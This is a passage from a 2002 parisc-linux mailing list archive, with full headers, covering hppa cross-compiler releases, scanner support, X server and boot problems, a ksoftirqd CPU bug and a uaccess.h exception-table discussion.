label1+((label2-label1)&~3) == label2; also, since the lowest 2 bits are
set (+3), set r9 = 0 and r8 = -EFAULT --> get_user will set x = 0 and
return -EFAULT

randolph
--  
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross-compilers available
Date: Sun, 6 Oct 2002 02:10:19 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <FFC927D0-D8BF-11D6-90D7-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v546)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621801 15122 80.91.229.3 (22 Nov 2014 02:03:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:21 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Oct  5 18:10:25 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from viefep14-int.chello.at (viefep14-int.chello.at [213.46.255.13])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9E1A4829
	for <parisc-linux@lists.parisc-linux.org>; Sat,  5 Oct 2002 18:10:24 -0600 (MDT)
Original-Received: from esiee.fr ([213.245.40.23]) by viefep14-int.chello.at
          (InterMail vM.5.01.05.12 201-253-122-126-112-20020820) with ESMTP
          id <20021006001021.FCLP29435.viefep14-int.chello.at@esiee.fr>
          for <parisc-linux@lists.parisc-linux.org>;
          Sun, 6 Oct 2002 02:10:21 +0200
X-Mailer: Apple Mail (2.546)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16395

Hi all !

This short mail to tell you that there are various new
cross compilers targetting hppa-linux and hppa64-linux
available here:

http://pateam.esiee.fr/download.html#deb

They come in different flavours, such as ppc-linux, sparc-solaris,
i386-freebsd and others.
They all feature binutils 2.13 and gcc 3.0.4

Any comment or suggestion are welcomed.

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/



From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] SANE "just works"
Date: Sun,  6 Oct 2002 00:26:54 -0600 (MDT)
Lines: 18
Approved: news@gmane.org
Message-ID: <20021006062654.76EC24829@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621801 15125 80.91.229.3 (22 Nov 2014 02:03:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun Oct  6 00:26:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 76EC24829; Sun,  6 Oct 2002 00:26:54 -0600 (MDT)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16396

Hi all,

I had a chance to hook up a very old HP ScanJet IIcx (8-bit color, scsi)
scanner to my C3000 and it "just worked". Used GIMP to clean up a scratched
photo of my daughter from 1997 and overall was amazed it all worked.
Only needed to "apt-get install sane gimp" and then read the Intro
pages at:
	http://www.mostang.com/sane/lj98/

Only problem (that I don't have any data for) is gimp perpetually
segfaulting after I exited. The image I edited was properly saved.
"kill -9" stopped the segfaulting.

Just need to find a better scanner now...8-bit color isn't anywhere
near satisfactory.

grant


From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Peter Karsmakers <peter.karsmakers@khk.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Can't start X-windows on HP C240 with HP FX4 graphics card ?
Date: Mon, 07 Oct 2002 12:55:40 +0200
Lines: 113
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20021007125233.00ada6a0@pophost.khk.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621801 15128 80.91.229.3 (22 Nov 2014 02:03:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  7 04:56:47 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from vador.skynet.be (vador.skynet.be [195.238.3.236])
	by dsl2.external.hp.com (Postfix) with ESMTP id D92314829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Oct 2002 04:56:46 -0600 (MDT)
Original-Received: from peter01.khk.be (155.96-136-217.adsl.skynet.be [217.136.96.155])
	by vador.skynet.be (8.11.6/8.11.6/Skynet-OUT-2.20) with ESMTP id g97Aufm20883
	for <parisc-linux@lists.parisc-linux.org>; Mon, 7 Oct 2002 12:56:42 +0200 (MET DST)
	(envelope-from <peter.karsmakers@khk.be>)
X-Sender: p0001074@pophost.khk.be
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16397

Hi,

I have a HP visualize C240 with a FX4 graphics card.  I've mananged to 
install linux parisc but can't get the X windows to work.  Is my graphics 
adapter supported?

The following output is dumped on the screen when I give the xstart command.

Thanks,

Peter Karsmakers


debianC240:~# startx

warning: process set to nice value 0 instead of -10 as requested

This is a pre-release version of XFree86, and is not supported in any
way.  Bugs may be reported to XFree86@XFree86.Org and patches submitted
to fixes@XFree86.Org.  Before reporting bugs in pre-release versions,
please check the latest version in the XFree86 CVS repository
(http://www.XFree86.Org/cvs)

XFree86 Version 4.1.0.1 / X Window System
(protocol Version 11, revision 0, vendor release 6510)
Release Date: 21 December 2001
         If the server is older than 6-12 months, or if your card is
         newer than the above date, look for a newer version before
         reporting problems.  (See http://www.XFree86.Org/FAQ)
Build Operating System: Linux 2.4.16-64 parisc64 [ELF]
(==) Log file: "/var/log/XFree86.0.log", Time: Fri Oct  4 16:46:28 2002
(==) Using config file: "/etc/X11/XF86Config-4"
Markers: (--) probed, (**) from config file, (==) default setting,
          (++) from command line, (!!) notice, (II) informational,
          (WW) warning, (EE) error, (NI) not implemented, (??) unknown.
(==) ServerLayout "Default Layout"
(**) |-->Screen "Default Screen" (0)
(**) |   |-->Monitor "compaq qvision"
(**) |   |-->Device "HP 4FX"
(**) |-->Input Device "Generic Keyboard"
(**) XKB: rules: "xfree86"
(**) XKB: model: "pc104"
(**) XKB: layout: "us"
(**) |-->Input Device "Configured Mouse"
(**) |-->Input Device "Generic Mouse"
(WW) The directory "/usr/lib/X11/fonts/cyrillic" does not exist.
         Entry deleted from font path.
(**) FontPath set to 
"unix/:7100,/usr/lib/X11/fonts/misc,/usr/lib/X11/fonts/100d
pi/:unscaled,/usr/lib/X11/fonts/75dpi/:unscaled,/usr/lib/X11/fonts/Type1,/usr/li
b/X11/fonts/Speedo,/usr/lib/X11/fonts/100dpi,/usr/lib/X11/fonts/75dpi"
(==) RgbPath set to "/usr/X11R6/lib/X11/rgb"
(--) using VT number 7

(--) PCI: (1:4:0) HP unknown chipset (0x1008) rev 2, Mem @ 0xf6000000/25, 
BIOS @
  0xf1e00000/21
(II) MGA: driver for Matrox chipsets: mga2064w, mga1064sg, mga2164w,
         mga2164w AGP, mgag100, mgag100 PCI, mgag200, mgag200 PCI, mgag400
(II) GLINT: driver for 3Dlabs chipsets: gamma, ti_pm2, ti_pm, pm3, pm2v,
         pm2, pm, 300sx, 500tx, mx, delta
(II) S3VIRGE: driver (version 1.6.13) for S3 ViRGE chipsets: virge, 86C325,
         virge vx, 86C988, virge dx, virge gx, 86C375, 86C385, virge gx2,
         86C357, virge mx, 86C260, virge mx+, 86C280, trio 3d, 86C365,
         trio 3d/2x, 86C362, 86C368
(II) SIS: driver for SiS chipsets: SIS5597, SIS5598, SIS530, SIS6326,
         SIS300, SIS630, SIS540
(II) SAVAGE: driver (version 1.1.16) for S3 Savage chipsets: Savage4,
         Savage3D, Savage3D-MV, Savage2000, Savage/MX-MV, Savage/MX,
         Savage/IX-MV, Savage/IX, ProSavage PM133, ProSavage KM133, Twister,
         TwisterK
(II) TRIDENT: driver for Trident chipsets: tvga8900d, cyber9320, cyber9388,
         cyber9397, cyber9397dvd, cyber9520, cyber9525dvd, cyberblade/e4,
         tgui9420dgi, tgui9440agi, tgui9660, tgui9680, providia9682,
         providia9685, cyber9382, cyber9385, 3dimage975, 3dimage985, blade3d,
         cyberbladei7, cyberbladei7d, cyberbladei1, cyberbladei1d,
         cyberbladeAi1, cyberbladeAi1d, cyberbladeXP, cyberbladeXPm
(II) CHIPS: Driver for Chips and Technologies chipsets: ct65520, ct65525,
         ct65530, ct65535, ct65540, ct65545, ct65546, ct65548, ct65550,
         ct65554, ct65555, ct68554, ct69000, ct69030, ct64200, ct64300
(II) TDFX: Driver for 3dfx Banshee/Voodoo3 chipsets: 3dfx Banshee,
         3dfx Voodoo3, 3dfx Voodoo5
(II) FBDev: driver for framebuffer: fbdev, afb
(II) ATI: ATI driver (version 6.3.6) for chipsets: ati
(II) R128: Driver for ATI Rage 128 chipsets: ATI Rage 128 RE (PCI),
         ATI Rage 128 RF (AGP), ATI Rage 128 RG (AGP), ATI Rage 128 RK (PCI),
         ATI Rage 128 RL (AGP), ATI Rage 128 Pro PD (PCI),
         ATI Rage 128 Pro PF (AGP), ATI Rage 128 Pro PP (PCI),
         ATI Rage 128 Pro PR (PCI), ATI Rage 128 Mobility LE (PCI),
         ATI Rage 128 Mobility LF (AGP), ATI Rage 128 Mobility MF (AGP),
         ATI Rage 128 Mobility ML (AGP)
(II) RADEON: Driver for ATI Radeon chipsets: ATI Radeon QD (AGP),
         ATI Radeon QE (AGP), ATI Radeon QF (AGP), ATI Radeon QG (AGP),
         ATI Radeon VE (AGP)
(II) imstt: driver (version 1.0.0 for IMS TwinTurbo chipsets : imstt128,
         imstt3d
(II) VGA: Generic VGA driver (version 4.0) for chipsets: generic
(II) v4l driver for Video4Linux
(EE) No devices detected.

Fatal server error:
no screens found

When reporting a problem related to a server crash, please send
the full server output, not just the last messages.
This can be found in the log file "/var/log/XFree86.0.log".
Please report problems to submit@bugs.debian.org.

XIO:  fatal IO error 232 (Connection reset by peer) on X server ":0.0"
       after 0 requests (0 known processed) with 0 events remaining.




From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Stephan Trajkoff <darkstar@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] kernel panic on k210
Date: Mon, 7 Oct 2002 15:58:25 +0300 (EEST)
Lines: 17
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0210071557590.5384-100000@marian.itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621801 15133 80.91.229.3 (22 Nov 2014 02:03:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:21 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  7 06:54:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 785E14829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Oct 2002 06:54:50 -0600 (MDT)
Original-Received: (qmail 1289 invoked from network); 7 Oct 2002 12:57:11 -0000
Original-Received: from softdnserror (HELO marian.itp.bg) (212.72.204.2)
  by softdnserror with SMTP; 7 Oct 2002 12:57:10 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16398

Oct  7 14:26:02 obzor kernel: KERNEL: assertion
(!skb_queue_empty(&sk->write_queue)) failed at tcp_timer.c(327)
Oct  7 14:26:02 obzor kernel: WARNING! Stack pointer and cr30 do not
correspond!Oct  7 14:26:02 obzor kernel: Dumping virtual address stack
instead
Oct  7 14:26:02 obzor kernel:
Oct  7 14:26:02 obzor kernel: Dumping Stack from 0x204c8000 to 0x204c8c40:
Oct  7 14:26:02 obzor kernel: 8000 25504446 2d312e32 0a25e2e3 cfd30d0a
31203020
6f626a0a 3c3c0a2f 41757468

can anyone explain the problem?

Regards




From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Long boot
Date: Mon, 07 Oct 2002 15:58:00 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <3DA192E7.AC5339AD@hpfrcu81.france.hp.com>
References: <Pine.LNX.4.44.0210071557590.5384-100000@marian.itp.bg>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621802 15136 80.91.229.3 (22 Nov 2014 02:03:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  7 07:56:36 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel9.hp.com (atlrel9.hp.com [156.153.255.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3EF634829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Oct 2002 07:56:36 -0600 (MDT)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by atlrel9.hp.com (Postfix) with ESMTP id 21FB2E0078D
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Oct 2002 09:56:33 -0400 (EDT)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id PAA02465; Mon, 7 Oct 2002 15:58:00 +0200 (METDST)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16399

Hi All,

May be its a FAQ, I tried to browse the mailing list archive but didn't find
anything.

I got te very last palinux source, did the various method (oldconfig,
menuconfig), then make dep and make vlinux.

When I reboot the latest build kernel on my C180 it got up to

........
Segment 0 load 00100000 size 1819636 mediaptr 0x1000
Segment 1 load 002be000 size 264864 mediaptr 0x1be000
Segment 2 load 00300000 size 401768 mediaptr 0x1ff000
Segment 3 load 00364000 size 8192 mediaptr 0x262000
Segment 4 load 00368000 size 32768 mediaptr 0x264000
Segment 5 load 003900b0 size 92624 mediaptr 0x26c0b0
Branching to kernel entry point 0x00100258.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org


Then it hang there for about 15 minutes (or was it 30 didn't noted), then it
proceed successfully

Linux version 2.4.19-pa21 (phi@iws1pb02) (gcc version 3.0.4) #3 Mon Oct 7
11:44:
59 CEST 2002
FP[0] enabled: Rev 0 Model 14
The 32-bit Kernel has started...
......



When I reboot again but ask PALO to use vmlinux.prev (my prev kernel don't
know how to make another one likethis one) the micro hang is less than a
minute.

Is there something I should do to get booted faster?

Thanx in advance,
Phi


From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tilo Riemer <t.riemer@visoel.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Mon, 07 Oct 2002 17:23:31 +0200
Lines: 10
Approved: news@gmane.org
Message-ID: <3DA1A6F3.8030707@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621802 15142 80.91.229.3 (22 Nov 2014 02:03:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:22 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  7 09:19:24 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from post.webmailer.de (natpost.webmailer.de [192.67.198.65])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8983E4829
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Oct 2002 09:19:23 -0600 (MDT)
Original-Received: from visoel.de (dialin-145-254-078-194.arcor-ip.net [145.254.78.194])
	by post.webmailer.de (8.9.3/8.8.7) with ESMTP id RAA05853
	for <parisc-linux@lists.parisc-linux.org>; Mon, 7 Oct 2002 17:19:19 +0200 (MET DST)
User-Agent: Mozilla/5.0 (Windows; U; WinNT; en; Stable) Gecko/20020911 Beonex/0.8.1-stable
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16400

Hello list,

I use Debian 3.0 on an HP9000/710. Almost all works fine, but the 
ksoftirqd eats all cpu time. I read that it's a bug in the kernel. Is 
there a patch for fixing this problem?


Best regards, Tilo



From - Thu Nov 08 21:24:57 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ksoftirqd eats 100% cpu :-(
Date: Mon, 07 Oct 2002 17:20:33 +0200
Organization: ESIEE
Lines: 18
Approved: news@gmane.org
Message-ID: <3DA1A641.1090306@esiee.fr>
References: <3DA1A6F3.8030707@visoel.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621802 15145 80.91.229.3 (22 Nov 2014 02:03:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:22 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tilo Riemer <t.riemer@visoel.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  7 09:23:10 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E6E654843
	for <parisc-linux@lists.parisc-linux.org>; Mon,  7 Oct 2002 09:23:09 -0600 (MDT)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by mail.esiee.fr (Postfix) with SMTP
	id 9734F49C21; Mon,  7 Oct 2002 17:23:06 +0200 (CEST)
Original-Received: from esiee.fr (grobluk.esiee.fr [147.215.7.22])
	by mail.esiee.fr (Postfix) with ESMTP
	id D5B5549C15; Mon,  7 Oct 2002 17:23:05 +0200 (CEST)
User-Agent: Mozilla/5.0 (X11; U; SunOS sun4u; en-US; rv:1.1) Gecko/20020827
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16401

Tilo Riemer wrote:
> Hello list,
> 
> I use Debian 3.0 on an HP9000/710. Almost all works fine, but the 
> ksoftirqd eats all cpu time. I read that it's a bug in the kernel. Is 
> there a patch for fixing this problem?
It's a well known bug. on 7x0 and 7x5 boxes.

Maybe we should add a faq entry ?


-- 
Thibaut VARENE
PA/Linux ESIEE Team
http://pateam.esiee.fr/




From - Thu Nov 08 21:24:58 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Need help to improve uaccess.h patch
Date: Mon, 7 Oct 2002 18:12:22 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <3D8EED0B00001976@ocpmta5.be.tiscali.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621803 15149 80.91.229.3 (22 Nov 2014 02:03:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:03:23 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org,
	"John David Anglin" <dave@hiauly1.hia.nrc.ca>
To: "Randolph Chung" <randolph@tausq.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Oct  7 10:19:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.tiscali.be (mail.tiscali.be [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id E00AD483E
	for <parisc-linux@parisc-linux.org>; Mon,  7 Oct 2002 10:19:44 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Mon, 7 Oct 2002 18:12:22 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16402

Randolph Chung wrote:
>>>That is my main doubt :(
>>>In this uaccess.h, I read (but i am not quit sure to have understand all

>>>  fine aspect) that we have to 'jump' after the erronious code (for me

>>>3b-[12]b + 1 ? am i wrong? ). And understand +3 in get_user_asm because

>>>we would have to jump after the cast "(x) = (__typeof__(*(ptr))) 
>>>__gu_val;". Is it wrong?
>>
>>I may be wrong but I think the code is trying to build a PLABEL.  In
>>which case, the value should be 2 or 3.  The least significant bit is
>>not used.  See the runtime architecture manual for more info on PLABELs.
> 
> 
> nah, the comment says:
> 
> /*
>  * The exception table contains two values: the first is an address
>  * for an instruction that is allowed to fault, and the second is
>  * the number of bytes to skip if a fault occurs. We also support in
>  * two bit flags: 0x2 tells the exception handler to clear register
